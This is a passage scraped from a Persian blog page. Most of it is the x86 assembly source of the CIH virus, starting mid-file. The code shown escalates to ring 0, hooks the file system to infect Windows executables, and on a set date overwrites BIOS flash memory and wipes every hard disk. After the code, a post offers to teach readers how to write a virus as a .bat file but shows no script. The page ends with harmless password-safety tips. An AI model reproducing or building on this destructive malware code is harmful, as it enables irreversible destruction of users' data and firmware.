80h HookExceptionNumber = 03h ENDIF FileNameBufferSize = 7fh ; ********************************************************* ; ********************************************************* VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; ********************************************************* MyVirusStart: push ebp ; ************************************* ; * Let"s Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax ; ************************************* ; * Let"s Modify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi ; ************************************* ; * Generate Exception to Get Ring0 * ; ************************************* int HookExceptionNumber ; GenerateException ReturnAddressOfEndException = $ ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again ; ************************************* ; * Let"s Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE ; ************************************* ; * When Exception Error Occurs, * ; * Our OS System should be in NT. * ; * So My Cute Virus will not * ; * Continue to Run, it Jmups to * ; * Original Application to Run. * ; ************************************* StopToRunVirusCode: @1 = StopToRunVirusCode xor ebx, ebx mov eax, fs:[ebx] mov esp, [eax] RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point ; ********************************************************* ; * Ring0 Virus Game Initial Program * ; ********************************************************* MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException ; ************************************* ; * Return to Ring3 Initial Program * ; ************************************* ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd ; ************************************* ; * Allocate SystemMemory Page to Use * ; ************************************* AllocateSystemMemoryPage: mov dr0, ebx ; Set the Mark of My Virus Exist in System push 00000000fh ; push ecx ; push 0ffffffffh ; push ecx ; push ecx ; push ecx ; push 000000001h ; push 000000002h ; int 20h ; VMMCALL _PageAllocate _PageAllocate = $ ; dd 00010053h ; Use EAX, ECX, EDX, and flags add esp, 08h*04h xchg edi, eax ; EDI = SystemMemory Start Address lea eax, MyVirusStart-@2[esi] iretd ; Return to Ring3 Initial Program ; ************************************* ; * Install My File System Api Hook * ; ************************************* InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init ; ********************************************************* ; * Code Size of Merge Virus Code Section * ; ********************************************************* CodeSizeOfMergeVirusCodeSection = offset $ ; ********************************************************* ; * IFSMgr_InstallFileSystemApiHook * ; ********************************************************* InstallFileSystemApiHook: push ebx call @4 ; @4: ; pop ebx ; mov ebx, offset FileSystemApiHook add ebx, FileSystemApiHook-@4 ; push ebx int 20h ; VXDCALL IFSMgr_RemoveFileSystemApiHook IFSMgr_RemoveFileSystemApiHook = $ dd 00400068h ; Use EAX, ECX, EDX, and flags pop eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link Client FileSystemApiHook push dword ptr [esp+8] call OldInstallFileSystemApiHook-@3[ebx] pop ecx push eax ; Call Original IFSMgr_InstallFileSystemApiHook ; to Link My FileSystemApiHook push ebx call OldInstallFileSystemApiHook-@3[ebx] pop ecx mov dr0, eax ; Adjust OldFileSystemApiHook Address pop eax pop ebx ret ; ********************************************************* ; * Static Data * ; ********************************************************* OldInstallFileSystemApiHook dd ? ; ********************************************************* ; * IFSMgr_FileSystemHook * ; ********************************************************* ; ************************************* ; * IFSMgr_FileSystemHook Entry Point * ; ************************************* FileSystemApiHook: @3 = FileSystemApiHook pushad call @5 ; @5: ; pop esi ; mov esi, offset VirusGameDataStartAddress add esi, VirusGameDataStartAddress-@5 ; ************************************* ; * Is OnBusy !? * ; ************************************* test byte ptr (OnBusy-@6)[esi], 01h ; if ( OnBusy ) jnz pIFSFunc ; goto pIFSFunc ; ************************************* ; * Is OpenFile !? * ; ************************************* ; if ( NotOpenFile ) ; goto prevhook lea ebx, [esp+20h+04h+04h] cmp dword ptr [ebx], 00000024h jne prevhook ; ************************************* ; * Enable OnBusy * ; ************************************* inc byte ptr (OnBusy-@6)[esi] ; Enable OnBusy ; ************************************* ; * Get FilePath"s DriveNumber, * ; * then Set the DriveName to * ; * FileNameBuffer. * ; ************************************* ; * Ex. If DriveNumber is 03h, * ; * DriveName is "C:". * ; ************************************* ; mov esi, offset FileNameBuffer add esi, FileNameBuffer-@6 push esi mov al, [ebx+04h] cmp al, 0ffh je CallUniToBCSPath add al, 40h mov ah, ":" mov [esi], eax inc esi inc esi ; ************************************* ; * UniToBCSPath * ; ************************************* ; * This Service Converts * ; * a Canonicalized Unicode Pathname * ; * to a Normal Pathname in the * ; * Specified BCS Character Set. * ; ************************************* CallUniToBCSPath: push 00000000h push FileNameBufferSize mov ebx, [ebx+10h] mov eax, [ebx+0ch] add eax, 04h push eax push esi int 20h ; VXDCall UniToBCSPath UniToBCSPath = $ dd 00400041h add esp, 04h*04h ; ************************************* ; * Is FileName ".EXE" !? * ; ************************************* ; cmp [esi+eax-04h], ".EXE" cmp [esi+eax-04h], "EXE." pop esi jne DisableOnBusy IF DEBUG ; ************************************* ; * Only for Debug * ; ************************************* ; cmp [esi+eax-06h], "FUCK" cmp [esi+eax-06h], "KCUF" jne DisableOnBusy ENDIF ; ************************************* ; * Is Open Existing File !? * ; ************************************* ; if ( NotOpenExistingFile ) ; goto DisableOnBusy cmp word ptr [ebx+18h], 01h jne DisableOnBusy ; ************************************* ; * Get Attributes of the File * ; ************************************* mov ax, 4300h int 20h ; VXDCall IFSMgr_Ring0_FileIO IFSMgr_Ring0_FileIO = $ dd 00400032h jc DisableOnBusy push ecx ; ************************************* ; * Get IFSMgr_Ring0_FileIO Address * ; ************************************* mov edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi] mov edi, [edi] ; ************************************* ; * Is Read-Only File !? * ; ************************************* test cl, 01h jz OpenFile ; ************************************* ; * Modify Read-Only File to Write * ; ************************************* mov ax, 4301h xor ecx, ecx call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Open File * ; ************************************* OpenFile: xor eax, eax mov ah, 0d5h xor ecx, ecx xor edx, edx inc edx mov ebx, edx inc ebx call edi ; VXDCall IFSMgr_Ring0_FileIO xchg ebx, eax ; mov ebx, FileHandle ; ************************************* ; * Need to Restore * ; * Attributes of the File !? * ; ************************************* pop ecx pushf test cl, 01h jz IsOpenFileOK ; ************************************* ; * Restore Attributes of the File * ; ************************************* mov ax, 4301h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Is Open File OK !? * ; ************************************* IsOpenFileOK: popf jc DisableOnBusy ; ************************************* ; * Open File Already Succeed. ^__^ * ; ************************************* push esi ; Push FileNameBuffer Address to Stack pushf ; Now CF = 0, Push Flag to Stack add esi, DataBuffer-@7 ; mov esi, offset DataBuffer ; *************************** ; * Get OffsetToNewHeader * ; *************************** xor eax, eax mov ah, 0d6h ; For Doing Minimal VirusCode"s Length, ; I Save EAX to EBP. mov ebp, eax push 00000004h pop ecx push 0000003ch pop edx call edi ; VXDCall IFSMgr_Ring0_FileIO mov edx, [esi] ; *************************** ; * Get "PE\0" Signature * ; * of ImageFileHeader, and * ; * Infected Mark. * ; *************************** dec edx mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Is PE !? * ; *************************** ; * Is the File * ; * Already Infected !? * ; *************************** ; * WinZip Self-Extractor * ; * doesn"t Have Infected * ; * Mark Because My Virus * ; * doesn"t Infect it. * ; *************************** ; cmp [esi], "\0PE\0" cmp dword ptr [esi], 00455000h jne CloseFile ; ************************************* ; * The File is ^o^ * ; * PE(Portable Executable) indeed. * ; ************************************* ; * The File isn"t also Infected. * ; ************************************* ; ************************************* ; * Start to Infect the File * ; ************************************* ; * Registers Use Status Now : * ; * * ; * EAX = 04h * ; * EBX = File Handle * ; * ECX = 04h * ; * EDX = "PE\0\0" Signature of * ; * ImageFileHeader Pointer"s * ; * Former Byte. * ; * ESI = DataBuffer Address ==> @8 * ; * EDI = IFSMgr_Ring0_FileIO Address * ; * EBP = D600h ==> Read Data in File * ; ************************************* ; * Stack Dump : * ; * * ; * ESP => ------------------------- * ; * | EFLAG(CF=0) | * ; * ------------------------- * ; * | FileNameBufferPointer | * ; * ------------------------- * ; * | EDI | * ; * ------------------------- * ; * | ESI | * ; * ------------------------- * ; * | EBP | * ; * ------------------------- * ; * | ESP | * ; * ------------------------- * ; * | EBX | * ; * ------------------------- * ; * | EDX | * ; * ------------------------- * ; * | ECX | * ; * ------------------------- * ; * | EAX | * ; * ------------------------- * ; * | Return Address | * ; * ------------------------- * ; ************************************* push ebx ; Save File Handle push 00h ; Set VirusCodeSectionTableEndMark ; *************************** ; * Let"s Set the * ; * Virus" Infected Mark * ; *************************** push 01h ; Size push edx ; Pointer of File push edi ; Address of Buffer ; *************************** ; * Save ESP Register * ; *************************** mov dr1, esp ; *************************** ; * Let"s Set the * ; * NewAddressOfEntryPoint * ; * ( Only First Set Size ) * ; *************************** push eax ; Size ; *************************** ; * Let"s Read * ; * Image Header in File * ; *************************** mov eax, ebp mov cl, SizeOfImageHeaderToRead add edx, 07h ; Move EDX to NumberOfSections call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Let"s Set the * ; * NewAddressOfEntryPoint * ; * ( Set Pointer of File, * ; * Address of Buffer ) * ; *************************** lea eax, (AddressOfEntryPoint-@8)[edx] push eax ; Pointer of File lea eax, (NewAddressOfEntryPoint-@8)[esi] push eax ; Address of Buffer ; *************************** ; * Move EDX to the Start * ; * of SectionTable in File * ; *************************** movzx eax, word ptr (SizeOfOptionalHeader-@8)[esi] lea edx, [eax+edx+12h] ; *************************** ; * Let"s Get * ; * Total Size of Sections * ; *************************** mov al, SizeOfScetionTable ; I Assume NumberOfSections <= 0ffh mov cl, (NumberOfSections-@8)[esi] mul cl ; *************************** ; * Let"s Set Section Table * ; *************************** ; Move ESI to the Start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] push eax ; Size push edx ; Pointer of File push esi ; Address of Buffer ; *************************** ; * The Code Size of Merge * ; * Virus Code Section and * ; * Total Size of Virus * ; * Code Section Table Must * ; * be Small or Equal the * ; * Unused Space Size of * ; * Following Section Table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Save My Virus First Section Code ; Size of Following Section Table... ; ( Not Include the Size of Virus Code Section Table ) push ecx xchg ecx, eax ; ECX = Size of Section Table ; Save Original Address of Entry Point mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ; *************************** ; * Read All Section Tables * ; *************************** mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Full Modify the Bug : * ; * WinZip Self-Extractor * ; * Occurs Error... * ; *************************** ; * So When User Opens * ; * WinZip Self-Extractor, * ; * Virus Doesn"t Infect it.* ; *************************** ; * First, Virus Gets the * ; * PointerToRawData in the * ; * Second Section Table, * ; * Reads the Section Data, * ; * and Tests the String of * ; * "WinZip(R)"...... * ; *************************** xchg eax, ebp push 00000004h pop ecx push edx mov edx, (SizeOfScetionTable+PointerToRawData-@9)[esi] add edx, 12h call edi ; VXDCall IFSMgr_Ring0_FileIO ; cmp [esi], "nZip" cmp dword ptr [esi], "piZn" je NotSetInfectedMark pop edx ; *************************** ; * Let"s Set Total Virus * ; * Code Section Table * ; *************************** ; EBX = My Virus First Section Code ; Size of Following Section Table pop ebx pop edi ; EDI = TotalSizeOfVirusCodeSectionTable pop ecx ; ECX = NumberOfSections+1 push edi ; Size add edx, ebp push edx ; Pointer of File add ebp, esi push ebp ; Address of Buffer ; *************************** ; * Set the First Virus * ; * Code Section Size in * ; * VirusCodeSectionTable * ; *************************** lea eax, [ebp+edi-04h] mov [eax], ebx ; *************************** ; * Let"s Set My Virus * ; * First Section Code * ; *************************** push ebx ; Size add edx, edi push edx ; Pointer of File lea edi, (MyVirusStart-@9)[esi] push edi ; Address of Buffer ; *************************** ; * Let"s Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ; *************************** ; * Setup Initial Data * ; *************************** lea edx, [esi-SizeOfScetionTable] mov ebp, offset VirusSize jmp StartToWriteCodeToSections ; *************************** ; * Write Code to Sections * ; *************************** LoopOfWriteCodeToSections: add edx, SizeOfScetionTable mov ebx, (SizeOfRawData-@9)[edx] sub ebx, (VirtualSize-@9)[edx] jbe EndOfWriteCodeToSections push ebx ; Size sub eax, 08h mov [eax], ebx mov ebx, (PointerToRawData-@9)[edx] add ebx, (VirtualSize-@9)[edx] push ebx ; Pointer of File push edi ; Address of Buffer mov ebx, (VirtualSize-@9)[edx] add ebx, (VirtualAddress-@9)[edx] add ebx, (ImageBase-@9)[esi] mov [eax+4], ebx mov ebx, [eax] add (VirtualSize-@9)[edx], ebx ; Section contains initialized data ==> 00000040h ; Section can be Read. ==> 40000000h or (Characteristics-@9)[edx], 40000040h StartToWriteCodeToSections: sub ebp, ebx jbe SetVirusCodeSectionTableEndMark add edi, ebx ; Move Address of Buffer EndOfWriteCodeToSections: loop LoopOfWriteCodeToSections ; *************************** ; * Only Set Infected Mark * ; *************************** OnlySetInfectedMark: mov esp, dr1 jmp WriteVirusCodeToFile ; *************************** ; * Not Set Infected Mark * ; *************************** NotSetInfectedMark: add esp, 3ch jmp CloseFile ; *************************** ; * Set Virus Code * ; * Section Table End Mark * ; *************************** SetVirusCodeSectionTableEndMark: ; Adjust Size of Virus Section Code to Correct Value add [eax], ebp add [esp+08h], ebp ; Set End Mark xor ebx, ebx mov [eax-04h], ebx ; *************************** ; * When VirusGame Calls * ; * VxDCall, VMM Modifies * ; * the "int 20h" and the * ; * "Service Identifier" * ; * to "Call [XXXXXXXX]". * ; *************************** ; * Before Writing My Virus * ; * to File, I Must Restore * ; * them First. ^__^ * ; *************************** lea eax, (LastVxDCallAddress-2-@9)[esi] mov cl, VxDCallTableSize LoopOfRestoreVxDCallID: mov word ptr [eax], 20cdh mov edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi] mov [eax+2], edx movzx edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi] sub eax, edx loop LoopOfRestoreVxDCallID ; *************************** ; * Let"s Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: mov eax, dr1 mov ebx, [eax+10h] mov edi, [eax] LoopOfWriteVirusCodeToFile: pop ecx jecxz SetFileModificationMark mov esi, ecx mov eax, 0d601h pop edx pop ecx call edi ; VXDCall IFSMgr_Ring0_FileIO jmp LoopOfWriteVirusCodeToFile ; *************************** ; * Let"s Set CF = 1 ==> * ; * Need to Restore File * ; * Modification Time * ; *************************** SetFileModificationMark: pop ebx pop eax stc ; Enable CF(Carry Flag) pushf ; ************************************* ; * Close File * ; ************************************* CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer ; ************************************* ; * Restore File Modification Time * ; ************************************* mov ebx, edi mov ax, 4303h mov ecx, (FileModificationTime-@7)[esi] mov edi, (FileModificationTime+2-@7)[esi] call ebx ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Disable OnBusy * ; ************************************* DisableOnBusy: dec byte ptr (OnBusy-@7)[esi] ; Disable OnBusy ; ************************************* ; * Call Previous FileSystemApiHook * ; ************************************* prevhook: popad mov eax, dr0 ; jmp [eax] ; Jump to prevhook ; ************************************* ; * Call the Function that the IFS * ; * Manager Would Normally Call to * ; * Implement this Particular I/O * ; * Request. * ; ************************************* pIFSFunc: mov ebx, esp push dword ptr [ebx+20h+04h+14h] ; Push pioreq call [ebx+20h+04h] ; Call pIFSFunc pop ecx ; mov [ebx+1ch], eax ; Modify EAX Value in Stack ; *************************** ; * After Calling pIFSFunc, * ; * Get Some Data from the * ; * Returned pioreq. * ; *************************** cmp dword ptr [ebx+20h+04h+04h], 00000024h jne QuitMyVirusFileSystemHook ; ***************** ; * Get the File * ; * Modification * ; * Date and Time * ; * in DOS Format.* ; ***************** mov eax, [ecx+28h] mov (FileModificationTime-@6)[esi], eax ; *************************** ; * Quit My Virus" * ; * IFSMgr_FileSystemHook * ; *************************** QuitMyVirusFileSystemHook: popad ret ; ************************************* ; * Kill Computer !? ... *^_^* * ; ************************************* IsKillComputer: ; Get Now Day from BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/???? IF DEBUG jmp DisableOnBusy ELSE jnz DisableOnBusy ENDIF ; ************************************** ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; * Kill Kill Kill Kill Kill Kill Kill * ; ************************************** ; *************************** ; * Kill BIOS EEPROM * ; *************************** mov bp, 0cf8h lea esi, IOForEEPROM-@7[esi] ; *********************** ; * Show BIOS Page in * ; * 000E0000 - 000EFFFF * ; * ( 64 KB ) * ; *********************** mov edi, 8000384ch mov dx, 0cfeh cli call esi ; *********************** ; * Show BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** mov di, 0058h dec edx ; and al,0fh mov word ptr (BooleanCalculateCode-@10)[esi], 0f24h call esi ; *********************** ; * Show the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E01FF * ; * ( 512 Bytes ) * ; * , and the Section * ; * of Extra BIOS can * ; * be Writted... * ; *********************** lea ebx, EnableEEPROMToWrite-@10[esi] mov eax, 0e5555h mov ecx, 0e2aaah call ebx mov byte ptr [eax], 60h push ecx loop $ ; *********************** ; * Kill the BIOS Extra * ; * ROM Data in Memory * ; * 000E0000 - 000E007F * ; * ( 80h Bytes ) * ; *********************** xor ah, ah mov [eax], al xchg ecx, eax loop $ ; *********************** ; * Show and Enable the * ; * BIOS Main ROM Data * ; * 000E0000 - 000FFFFF * ; * ( 128 KB ) * ; * can be Writted... * ; *********************** mov eax, 0f5555h pop ecx mov ch, 0aah call ebx mov byte ptr [eax], 20h loop $ ; *********************** ; * Kill the BIOS Main * ; * ROM Data in Memory * ; * 000FE000 - 000FE07F * ; * ( 80h Bytes ) * ; *********************** mov ah, 0e0h mov [eax], al ; *********************** ; * Hide BIOS Page in * ; * 000F0000 - 000FFFFF * ; * ( 64 KB ) * ; *********************** ; or al,10h mov word ptr (BooleanCalculateCode-@10)[esi], 100ch call esi ; *************************** ; * Kill All HardDisk * ; *************************************************** ; * IOR Structure of IOS_SendCommand Needs * ; *************************************************** ; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? * ; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? * ; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? * ; *************************************************** KillHardDisk: xor ebx, ebx mov bh, FirstKillHardDiskNumber push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand cmp word ptr [esi+06h], 0017h je KillNextDataSection ChangeNextHardDisk: inc byte ptr [esi+4dh] jmp LoopOfKillHardDisk KillNextDataSection: add dword ptr [esi+10h], ebx mov byte ptr [esi+4dh], FirstKillHardDiskNumber jmp LoopOfKillHardDisk ; *************************** ; * Enable EEPROM to Write * ; *************************** EnableEEPROMToWrite: mov [eax], cl mov [ecx], al mov byte ptr [eax], 80h mov [eax], cl mov [ecx], al ret ; *************************** ; * IO for EEPROM * ; *************************** IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret ; ********************************************************* ; * Static Data * ; ********************************************************* LastVxDCallAddress = IFSMgr_Ring0_FileIO VxDCallAddressTable db 00h db IFSMgr_RemoveFileSystemApiHook-_PageAllocate db UniToBCSPath-IFSMgr_RemoveFileSystemApiHook db IFSMgr_Ring0_FileIO-UniToBCSPath VxDCallIDTable dd 00010053h, 00400068h, 00400041h, 00400032h VxDCallTableSize = ($-VxDCallIDTable)/04h ; ********************************************************* ; * Virus Version Copyright * ; ********************************************************* VirusVersionCopyright db "CIH v" db MajorVirusVersion+"0" db "." db MinorVirusVersion+"0" db " TATUNG" ; ********************************************************* ; * Virus Size * ; ********************************************************* VirusSize = $ ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; * Dynamic Data * ; ********************************************************* VirusGameDataStartAddress = VirusSize @6 = VirusGameDataStartAddress OnBusy db 0 FileModificationTime dd ? FileNameBuffer db FileNameBufferSize dup(?) @7 = FileNameBuffer DataBuffer = $ @8 = DataBuffer NumberOfSections dw ? TimeDateStamp dd ? SymbolsPointer dd ? NumberOfSymbols dd ? SizeOfOptionalHeader dw ? _Characteristics dw ? Magic dw ? LinkerVersion dw ? SizeOfCode dd ? SizeOfInitializedData dd ? SizeOfUninitializedData dd ? AddressOfEntryPoint dd ? BaseOfCode dd ? BaseOfData dd ? ImageBase dd ? @9 = $ SectionAlignment dd ? FileAlignment dd ? OperatingSystemVersion dd ? ImageVersion dd ? SubsystemVersion dd ? Reserved dd ? SizeOfImage dd ? SizeOfHeaders dd ? SizeOfImageHeaderToRead = $-NumberOfSections NewAddressOfEntryPoint = DataBuffer ; DWORD SizeOfImageHeaderToWrite = 04h StartOfSectionTable = @9 SectionName = StartOfSectionTable ; QWORD VirtualSize = StartOfSectionTable+08h ; DWORD VirtualAddress = StartOfSectionTable+0ch ; DWORD SizeOfRawData = StartOfSectionTable+10h ; DWORD PointerToRawData = StartOfSectionTable+14h ; DWORD PointerToRelocations = StartOfSectionTable+18h ; DWORD PointerToLineNumbers = StartOfSectionTable+1ch ; DWORD NumberOfRelocations = StartOfSectionTable+20h ; WORD NumberOfLinenNmbers = StartOfSectionTable+22h ; WORD Characteristics = StartOfSectionTable+24h ; DWORD SizeOfScetionTable = Characteristics+04h-SectionName ; ********************************************************* ; * Virus Total Need Memory * ; ********************************************************* VirusNeedBaseMemory = $ VirusTotalNeedMemory = @9 ; + NumberOfSections(??)*SizeOfScetionTable(28h) ; + SizeOfVirusCodeSectionTableEndMark(04h) ; + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h) ; + SizeOfTheFirstVirusCodeSectionTable(04h) ; ********************************************************* ; ********************************************************* VirusGame ENDS END FileHeader </body> </html> </body> </html>

شنبه 26 اردیبهشت 1388 توسط حسین شربتی | نظرات ()

ویروس

امروز می خوام ساخت یک ویروس توپ نشونتون بدم

اول نوشته های زیر در یک note pad مینویسی بعد پسوندش میکنید bat

فقط حواستون باشه که روی کامپیوتر خودتون اجرا نکنید

شنبه 26 اردیبهشت 1388 توسط حسین شربتی | نظرات ()

امنیت در كلمه عبور

آیا رمز عبور شما از حفاظت لازم برخوردار است؟ وارد كردن همیشگی اسم كاربر و رمز عبور، روندی ناخوشایند و كسل كننده است. چه بخواهید ایمیل خود را چك كنید، چه بخواهید از وضعیت حساب بانكی خود مطلع شوید

.
اغلب كاربران كامپیوتر، به طور معمول از رمزهای عبور ساده و آسان استفاده می كنند. اما دقت

.
اغلب كاربران كامپیوتر، به طور معمول از رمزهای عبور ساده و آسان استفاده می كنند. اما دقت داشته باشید كه این سهل انگاری در انتخاب رمز عبور، عواقب خطرناكی به دنبال خواهد داشت. رمزهای عبور آسان و معمولی در ظرف چند ثانیه لو خواهند رفت و اطلاعات شخصی مانند شماره حساب بانكی و شماره كارت اعتباری شما به راحتی در معرض دید هكرها قرار خواهند گرفت.

در اینجا 8 نكته برای حفاظت از اطلاعات توصیه می شود :
1 .به هیچ وجه از اسامی استفاده نكنید فرقی نمی كند كه اسم فامیلتان باشد، یا باشگاه فوتبال مورد علاقه تان. بسیاری از برنامه های هكر، رمزهای عبور را با كمك فرهنگ لغت هك می كنند. فقط چند ساعت طول خواهد كشید كه با كمك لغات یك فرهنگ لغت، دستیابی به رمز عبور امكان پذیر شود.
2.برای رمز عبور خود حداقل از 8 حرف استفاده كنید:
برای رمز عبوری كه از 4 حرف تشكیل شده است، حدود 45000 حالت وجود دارد. اما برای رمز عبوری كه از 8 حرف و علامتهای ویژه تشكیل شده است، یك میلیارد حالت مختلف وجود دارد!
3.برای رمز عبور، از حروفی كه در كنار هم قرار گرفته اند استفاده نكنید!
رمزهای عبوری مانند “qwert” یا “asdf” ، كار هكرها را برای دستیابی به رمز عبور بسیار آسان می كند، این مطلب در تركیب اعداد نیز به همین صورت است؛ مثل " 12345678 ". در كنار هم قرار گرفتن حروف و یا اعداد، دستیابی به هكرها به رمز عبور شما را بسیار راحت می كند!
4.برای رمز عبور خود، تركیبی از حروف بزرگ و كوچك یا اعداد و علامتهای ویژه را انتخاب كنید.
استفاده از علامتهای ویژه به تنهایی كافی نیست. 5 درصد همه كاربرها بر این امر اتفاق نظر دارند كه رمز عبوری مثل Martin! را به كار برند!
5.رمز عبور خود را تا حد امكان جایی ننویسید
حتی اگر كاغذی كه رمز عبور خود را بر روی آن نوشته اید، در جای امنی مانند كیف تان باشد، از این كار اجتناب كنید. عنوان كاغذی كه رمز عبور خود را بر روی آن نوشته اید، به هیچ عنوان زیر صفحه كلید یا به مانیتور خود نچسبانید!
6.رمز عبور خود را همواره تغییر دهید.
هر قدر، مدت زمان استفاده از رمز عبورتان بیشتر باشد، خطر هك شدن شما بیشتر خواهد بود. اداره فناوری اطلاعات آلمان فدرال، توصیه می كند كه هر 90 روز یكبار رمز عبور خود را تغییر دهید.
7.رمز عبور خود را در كامپیوتر ذخیره نكنید!
كامپیوتر قادر است رمز عبور شما را ذخیره كند تا شما مجبور نباشید هر بار آن را وارد كنید. با این حال، كسی كه برای هر بار ورود، احتیاج به وارد كردن رمز عبور نداشته باشد، خیلی سریع آن را فراموش می كند: دقت داشته باشید كه برای تغییر رمز عبور ، باید حتماً رمز عبور قبلی را وارد كنید!
8.رمز عبور خود را به شخص دیگری ندهید!
اگر از شما تلفنی یا با ایمیل، رمز عبورتان را خواستند، آن را بازگو نكنید! هكرها معمولاً خود را به عنوان همكاران شركتهای بزرگ معرفی می كنند. این اشخاص كه خود را سرویس كار كامپیوتر معرفی می كنند، معمولاً توسط تماس تلفنی یا ایمیل رمز عبور شما را برای حل مشكل كامپیوترتان طلب می كنند. ولی هیچ شركت معتبر و صاحب نامی از شما رمز عبورتان را نمی خواهد.
روشهای حرفه ای برای ایجاد كلمه عبور

